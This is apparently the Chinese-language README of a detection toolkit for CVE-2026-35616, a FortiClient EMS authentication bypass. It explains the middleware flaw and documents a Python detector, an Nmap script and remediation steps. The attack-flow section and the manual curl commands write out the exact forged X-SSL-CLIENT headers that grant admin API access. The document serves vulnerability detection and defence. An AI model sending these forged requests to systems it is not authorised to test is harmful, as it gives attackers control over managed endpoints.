Fortinet FortiClient EMS 7.4.5 和 7.4.6 中存在一个严重的认证绕过漏洞,允许完全未认证的远程攻击者通过伪造单个 HTTP 头(X-SSL-CLIENT-VERIFY)绕过 API 认证。该缺陷源于 Django 中间件信任来自用户可控请求头中的客户端证书元数据,而不仅仅信任受信任的反向代理。这使攻击者能够获得完整的管理 API 访问权限——并由此在企业内受管端点上执行任意代码。
自 2026 年 3 月 31 日起已被积极利用。2026 年 4 月 6 日被加入 CISA KEV 目录。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-35616 |
| 厂商 | Fortinet |
| 产品 | FortiClient 企业管理服务器(EMS) |
| 受影响版本 | 7.4.5、7.4.6 |
| 不受影响 | 7.2.x 分支、7.4.4 及更早版本 |
| CVSS v3.1 | 9.1(严重) |
| CWE | CWE-284 - 访问控制不当 |
| 攻击向量 | 网络 |
| 认证 | 无需认证 |
| 用户交互 | 无 |
| 利用成熟度 | 已在野外被利用 |
| CISA KEV | 2026 年 4 月 6 日添加(截止日期:2026 年 4 月 9 日) |
| 补丁 | 已发布热修复;完整修复在 7.4.7 中 |
| 发现者 | Simo Kohonen(Defused Cyber)、Nguyen Duc Anh |
FortiClient 企业管理服务器(EMS)是 Fortinet 的集中式端点管理平台。它充当在整个组织中部署、配置和监控 FortiClient 代理的指挥控制层。可以将其视为管理 Fortinet 管理环境中每个端点的大脑:
当攻击者获得 EMS 的管理访问权限时,他们实际上就掌握了组织中每个受管端点的所有密钥。
FortiClient EMS 在后台使用相当标准的 Web 应用技术栈:
+----------------+ +----------------+ +----------------+
| 浏览器 / | HTTPS | Apache | WSGI | Django |
| API 客户端 | -------> | (mod_ssl) | -------> | 后端 |
+----------------+ +----------------+ +----------------+
当配置了双向 TLS(mTLS)时,Apache 的 mod_ssl 负责客户端证书验证。验证证书后,Apache 通过受信任的 WSGI 环境变量将验证结果传递给下游的 Django:
SSL_CLIENT_VERIFY - 验证状态(SUCCESS、NONE、FAILED)SSL_CLIENT_S_DN - 证书中的主题专有名称SSL_CLIENT_SERIAL - 证书序列号这是标准且安全的模式。问题在于 Django 中间件如何读取这些数据。
在 FortiClient EMS 7.4.5 和 7.4.6 中,Django 认证中间件被修改为也接受来自 HTTP 请求头 的相同信息:
X-SSL-CLIENT-VERIFYX-SSL-CLIENT-S-DNX-SSL-CLIENT-SERIAL这可能是为了支持 Apache 不是 TLS 终止点的反向代理部署而添加的。然而,中间件无法区分这两个来源。它首先检查 WSGI 变量,但如果这些变量不存在(未配置 mTLS,或直接连接),则会回退到 HTTP 请求头——而任何客户端都可以设置这些请求头。
以下是概念分解:
安全路径(预期):
Apache mod_ssl 验证证书 --> 设置 WSGI 环境变量 --> Django 读取环境变量 [正常]
不安全路径(漏洞):
攻击者直接设置 HTTP 请求头 --> Django 读取请求头 --> 信任它们 [失败]
中间件实际上信任客户端自行证明其证书验证状态。这就像保安问某人“嘿,另一个保安已经检查过你的身份证了吗?”然后当对方说“是的”时就放行。
步骤 1:攻击者向 EMS API 端点发送 POST 请求
并携带以下请求头:
X-SSL-CLIENT-VERIFY: SUCCESS
X-SSL-CLIENT-S-DN: CN=admin
X-SSL-CLIENT-SERIAL: 0000000000000001
步骤 2:Django 中间件检查 WSGI 环境变量 → 不存在
回退到 HTTP 请求头 → 找到 X-SSL-CLIENT-VERIFY: SUCCESS
步骤 3:中间件将请求视为以管理员身份认证
步骤 4:攻击者获得完整的管理 API 访问权限
步骤 5:通过管理 API,攻击者可以:
- 向所有受管端点推送恶意策略
- 提取存储的凭据和证书
- 通过软件分发部署载荷
- 修改 ZTNA 配置
- 横向渗透到更广泛的网络
整个攻击只需一个 HTTP 请求。无需暴力破解、无需凭据填充、无需社会工程学。只需一个伪造的请求头。
此漏洞的严重性超出了服务器本身。FortiClient EMS 是一个力量倍增器——攻陷它使攻击者能够控制每个受管端点:
直接影响:
下游影响(通过受管端点):
企业风险:
| 版本 | 状态 |
|---|---|
| FortiClient EMS 7.4.6 | 存在漏洞 |
| FortiClient EMS 7.4.5 | 存在漏洞 |
| FortiClient EMS 7.4.4 及更早版本 | 不受影响 |
| FortiClient EMS 7.2.x | 不受影响 |
| 日期 | 事件 |
|---|---|
| 约 2026 年 3 月下旬 | Simo Kohonen 和 Nguyen Duc Anh 发现并报告该漏洞 |
| 2026 年 3 月 31 日 | 首次记录到针对蜜罐的利用尝试(Defused Cyber) |
| 2026 年 4 月 4 日 | Fortinet 为 7.4.5 和 7.4.6 发布紧急热修复 |
| 2026 年 4 月 6 日 | CISA 将 CVE-2026-35616 添加到 KEV 目录(截止日期:2026 年 4 月 9 日) |
| 2026 年 4 月 13 日 | 本检测工具包发布 |
该 Python 脚本使用差分响应技术测试多个 API 端点。
工作原理:
HTTP 401 Unauthorized)X-SSL-CLIENT-VERIFY: SUCCESS401 变为其他任何状态码(通常为 500 或 200),则确认认证绕过不会发送任何利用载荷。该测试对生产环境安全。
用法:
# 安装依赖(此脚本仅需标准库)
pip install -r requirements.txt
# 单个目标
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100
# 自定义端口
python CVE-2026-35616_FortiClientEMS_detector.py -t ems.corp.local -p 8443
# 从文件批量扫描
python CVE-2026-35616_FortiClientEMS_detector.py -f targets.txt
# JSON 输出保存到文件
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --json -o results.json
# 启用 SSL 证书验证
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --verify-ssl
# 为慢速网络增加超时时间
python CVE-2026-35616_FortiClientEMS_detector.py -t 192.168.1.100 --timeout 20
选项:
| 标志 | 描述 | 默认值 |
|---|---|---|
-t、--target | 目标 IP 或主机名 | - |
-f、--file | 包含目标的文件,每行一个(以 # 开头的行将被跳过) | - |
-p、--port | 目标端口 | 443 |
--timeout | 连接超时时间(秒) | 10 |
--verify-ssl | 启用 SSL 证书验证 | 禁用 |
--json | 以 JSON 格式输出结果 | 关闭 |
-o、--output | 将结果保存到文件 | - |
示例输出:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-35616 - FortiClient EMS 认证绕过检测器 ║
║ 预认证 API 访问绕过 → 权限提升 ║
║ CVSS: 9.1(严重)| CISA KEV:活跃利用 ║
╚══════════════════════════════════════════════════════════════╝
[*] 正在扫描 192.168.1.100:443...
目标:192.168.1.100:443
============================================================
[*] 检测到 FortiClient EMS(版本:未知)
漏洞测试结果:
[存在漏洞] /api/v1/auth/signin 基线:401 → 伪造:500
[存在漏洞] /api/v1/system/status 基线:401 → 伪造:500
[无漏洞] /api/v1/endpoints 基线:401 → 伪造:401
[!] 目标很可能存在 CVE-2026-35616 漏洞
已确认预认证 API 绕过。请立即应用热修复!
修复措施:升级到 FortiClient EMS 7.4.7 或应用热修复
# 安装 NSE 脚本
sudo cp CVE-2026-35616_FortiClientEMS.nse /usr/share/nmap/scripts/
sudo nmap --script-updatedb
# 基本扫描
nmap -p 443 --script CVE-2026-35616_FortiClientEMS <target>
# 扫描子网
nmap -p 443 --script CVE-2026-35616_FortiClientEMS 10.0.0.0/24
# 从文件扫描多个目标
nmap -p 443 --script CVE-2026-35616_FortiClientEMS -iL targets.txt
# 带服务版本检测
nmap -sV -p 443 --script CVE-2026-35616_FortiClientEMS <target>
示例 Nmap 输出:
PORT STATE SERVICE
443/tcp open https
| CVE-2026-35616_FortiClientEMS:
| 存在漏洞:
| FortiClient EMS 预认证 API 绕过
| 状态:存在漏洞
| ID:CVE:CVE-2026-35616
| 风险因素:严重(CVSS:9.1)
| 披露日期:2026-04-04
| 附加信息:
| 受影响端点:2
| 修复措施:为 FortiClient EMS 7.4.5/7.4.6 应用热修复或升级到 7.4.7
| CISA KEV 截止日期:2026 年 4 月 9 日
| 参考资料:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-35616
|_ https://www.cisa.gov/known-exploited-vulnerabilities-catalog
如果您想使用 curl 手动确认:
# 步骤 1:基线 - 应返回 401
curl -sk -X POST https://<TARGET>:443/api/v1/auth/signin \
-H "Content-Type: application/json" \
-d '{}' \
-o /dev/null -w "%{http_code}\n"
# 步骤 2:伪造 - 如果返回 401 以外的任何状态码,则很可能存在漏洞
curl -sk -X POST https://<TARGET>:443/api/v1/auth/signin \
-H "Content-Type: application/json" \
-H "X-SSL-CLIENT-VERIFY: SUCCESS" \
-H "X-SSL-CLIENT-S-DN: CN=admin" \
-H "X-SSL-CLIENT-SERIAL: 0000000000000001" \
-d '{}' \
-o /dev/null -w "%{http_code}\n"
如果第一个返回 401,第二个返回 500 或 200,则该实例存在漏洞。
在您的环境中留意以下迹象:
X-SSL-CLIENT-VERIFY 请求头需要审查的日志来源:
立即行动(立即执行):
短期(本周内):
长期:
X-SSL-CLIENT-VERIFY、X-SSL-CLIENT-S-DN 和 X-SSL-CLIENT-SERIAL 请求头Kerem Oruç - 网络安全工程师